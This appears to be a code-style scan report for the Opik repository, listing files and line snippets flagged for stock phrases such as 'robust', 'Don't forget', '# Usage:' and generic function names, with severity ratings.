| MEDIUM | …et/opik/infrastructure/TracesLocalV2BenchmarkTest.java | 1222 | // after one warmup (not a sustained concurrent-read load), so the robust takeaway is the ZSTD(3) ~= ZSTD(1) | STRING |
| MEDIUM | …met/opik/infrastructure/SpansLocalV2BenchmarkTest.java | 1028 | // Both ZSTD levels beat LZ4 by a wide margin, which is the robust fact and all this slice can assert: its | STRING |
| MEDIUM | …met/opik/infrastructure/SpansLocalV2BenchmarkTest.java | 1059 | // therefore drops Delta from start_time, created_at and id_at, and the pin map moves with it. Only the robust | STRING |
| MEDIUM | …met/opik/infrastructure/SpansLocalV2BenchmarkTest.java | 1090 | // differencing. Migration 000116 ships ZSTD(1). Only the robust orderings are asserted. | STRING |
| MEDIUM | …met/opik/infrastructure/SpansLocalV2BenchmarkTest.java | 1107 | // hence only the robust facts are asserted (both ZSTD variants beat LZ4). The spans-specific re-check belongs t | STRING |
| MEDIUM | …met/opik/infrastructure/SpansLocalV2BenchmarkTest.java | 1122 | // end_time; the synthetic slice scrambles it, so only the robust facts are asserted. | STRING |
| MEDIUM | …met/opik/infrastructure/SpansLocalV2BenchmarkTest.java | 1291 | // sustained concurrent-read load), so the robust takeaway is the ZSTD(3) ~= ZSTD(1) parity; the absolute times | STRING |
| MEDIUM | …ructure/metrics/ClickHousePartitionMetricsDAOTest.java | 151 | // assertion robust to ReplacingMergeTree duplicates). | COMMENT |
| MEDIUM | …opik/api/evaluators/AutomationRuleEvaluatorUpdate.java | 80 | // Service layer keeps both fields in sync for seamless migration | COMMENT |
| MEDIUM | …a/com/comet/opik/domain/filter/FilterQueryBuilder.java | 57 | // consistent with the data.* sort path and robust to keys containing special characters. | COMMENT |
| LOW | …opik-python-backend/src/opik_backend/studio/helpers.py | 63 | # Create client - it will read from the environment variables we just set | COMMENT |
| MEDIUM | apps/opik-frontend/package-lock.json | 15800 | "resolved": "https://registry.npmjs.org/robust-predicates/-/robust-predicates-3.0.2.tgz", | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | …/tests/library_integration/langchain/test_langgraph.py | 777 | def process_data(value: int) -> int: | CODE |
| LOW | sdks/python/tests/e2e/test_guardrails.py | 49 | def test_function(): | CODE |
| LOW | sdks/python/tests/e2e/test_guardrails.py | 114 | def test_function(): | CODE |
| LOW | …ks/python/tests/e2e/test_guardrails_stored_policies.py | 205 | def test_function(): | CODE |
| LOW | …python/tests/e2e/evaluation/test_test_suite_agentic.py | 72 | def run_task(item: Dict[str, Any]) -> Dict[str, Any]: | CODE |
| LOW | …python/tests/e2e/evaluation/test_test_suite_agentic.py | 152 | def run_task(item: Dict[str, Any]) -> Dict[str, Any]: | CODE |
| LOW | …python/tests/e2e/evaluation/test_test_suite_agentic.py | 263 | def run_task(item: Dict[str, Any]) -> Dict[str, Any]: | CODE |
| LOW | sdks/python/examples/dynamic_tracing_example.py | 49 | def process_data(data: Dict[str, Any]) -> Dict[str, Any]: | CODE |
| LOW | sdks/python/examples/dynamic_tracing_example.py | 92 | def handle_request(prompt: str, user_type: str) -> str: | CODE |
| LOW | …tegrations/langchain/langgraph_async_context_bridge.py | 38 | def process_data(value: int) -> int: | STRING |
| LOW | sdks/opik_optimizer/benchmarks/utils/task_runner.py | 589 | def execute_task( | CODE |
| LOW | tests_load/suite/python_sdk/test_heavy_payload.py | 40 | def handle_request(prompt: str) -> str: | CODE |
| LOW | tests_load/suite/python_sdk/test_bursts.py | 39 | def handle_request(prompt: str) -> str: | CODE |
| LOW | tests_load/suite/python_sdk/test_bursts.py | 85 | def handle_request(prompt: str) -> str: | CODE |
| LOW | tests_load/suite/python_sdk/test_bursts.py | 144 | def handle_request(worker_id: int, prompt: str) -> str: | CODE |
| LOW | tests_load/suite/python_sdk/test_ingestion_rate.py | 43 | def handle_request(prompt: str) -> str: | CODE |
| LOW | tests_load/suite/python_sdk/test_attachments.py | 46 | def handle_request(prompt: str) -> str: | CODE |
| LOW | apps/opik-frontend/src/lib/optimizations.test.ts | 941 | def helper(self): | STRING |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | scripts/check_clickhouse_migrations_cluster.sh | 7 | # Usage: | COMMENT |
| LOW | scripts/analyze_trivy_report.sh | 5 | # Usage: | COMMENT |
| LOW | .github/scripts/send-slack-message.sh | 8 | # Usage: | COMMENT |
| LOW | .github/scripts/notify-slack-test-failure.sh | 14 | # Usage: | COMMENT |
| LOW | …-migrations/spans-local-v2-cutover/scripts/backfill.sh | 34 | # Usage: | COMMENT |
| LOW | …ta-migrations/spans-local-v2-cutover/scripts/verify.sh | 34 | # Usage: | COMMENT |
| LOW | …migrations/traces-local-v2-cutover/scripts/backfill.sh | 18 | # Usage: | COMMENT |
| LOW | …a-migrations/traces-local-v2-cutover/scripts/verify.sh | 21 | # Usage: | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | …cessing/processors/attachments_extraction_processor.py | 129 | delete_after_upload=True, # make sure to delete attachments after upload to avoid leaking space and dat | CODE |
| MEDIUM | …etrics/conversation/heuristics/degeneration/phrases.py | 5 | "as an ai language model", | CODE |
| MEDIUM | …metrics/conversation/heuristics/degeneration/metric.py | 33 | phrases (for example, "as an AI language model..."). Each turn receives a | STRING |
| LOW⚡ | sdks/opik_optimizer/scripts/generate_fern_docs.py | 91 | # Don't forget to save the last parameter | COMMENT |
| LOW | extensions/cursor/src/cursor/sessionManager.ts | 516 | // Don't forget to add the last group | COMMENT |
| LOW | .github/workflows/update_helm_readme.yaml | 47 | echo "::error::Helm docs are out of date. Please run 'pre-commit run helm-docs --all-files' locally and commit | CODE |
| LOW | …/src/api/datasets/useDatasetItemBatchDeleteMutation.ts | 62 | ? "The suite item has been removed. Don't forget to save your changes to create a new version." | CODE |
| LOW | …/src/api/datasets/useDatasetItemBatchDeleteMutation.ts | 63 | : "The suite items have been removed. Don't forget to save your changes to create a new version.", | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | …ks/python/tests/unit/decorator/test_tracker_outputs.py | 839 | CODE | |
| MEDIUM | …/library_integration/anthropic/test_stream_patchers.py | 92 | CODE | |
| MEDIUM | …/library_integration/anthropic/test_stream_patchers.py | 97 | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | …python/src/opik/integrations/anthropic/opik_tracker.py | 62 | ) # TODO: implement a proper support for vertex and bedrock | CODE |